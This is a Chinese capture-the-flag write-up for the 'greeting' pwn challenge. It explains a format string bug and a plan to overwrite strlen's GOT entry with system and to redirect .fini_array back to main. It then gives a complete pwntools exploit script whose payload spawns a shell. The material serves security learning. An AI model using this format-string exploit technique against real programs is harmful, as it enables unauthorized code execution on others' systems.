攻防世界-pwn-greeting
greeting
-
先看保护

-
拖进ida查看


可以看到很明显的格式化字符串漏洞

我们还可以发现一个利用了system的函数(这说明我们可以利用system的plt)
-
解题思路
我们利用格式化字符串修改strlen的got地址为sys的plt地址使其变更为system函数,之后我们只需要在输入的时候输入/bin/sh就可以获得shell了,但是我们只有一次输入的机会,所以我们需要将main执行两次。无法循环如何解?我们在写代码的时候是以main函数作为程序入口,但是编译程序的时候入口并不是main函数,而是start代码段。而start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。其流程见于链接http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html
简单来说,在main函数前会调用.init段代码.init_array段的函数数组中每一个函数指针。同样的,main函数结束时也会调用.fini段代码和.fini_array段的函数数组中的每一个函数指针。而我们目标就是修改.fini_array数组的第一个元素start。需要注意的是,这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。
-
exp
点击查看代码
#-*- coding:utf-8 -*- from pwn import * p=process('./greeting') #gdb.attach(p) elf=ELF('./greeting') strlen_got=elf.got['strlen'] fini_array=0x08049934 main=0x080485ed system_plt=0x08048490 payload='aa' payload+=p32(strlen_got+2) #12 payload+=p32(strlen_got) #13 payload+=p32(fini_array) #14 #“+2”的原因是,0x8048490的高2字节是0x804,比后2字节小,分开来写要将小的先写, #因为越往后只会越加越大。 #为什么是2020呢。因为我们要写入0x0804,而0x0804等于2052,而我们要减去前面的字节(前面有2个字符三个地址和一个字符串) #aa与"Nice to meet you, ",所以是2052-2-18-12 payload+="%2020c%12$hn" #31884=0x8490-0x804 payload+="%31884c%13$hn" #上面我们就将strlen的got地址给改成了sys的地址 #我们现在只需要该后两个字节的地址,因为前两个他们都一样 #0x85ed-0x8490=349 payload+="%349c%14$hn" p.sendlineafter('... ',payload) p.sendlineafter('... ','/bin/sh') p.interactive()
若有错误见谅,小白一枚w(゚Д゚)w

浙公网安备 33010602011771号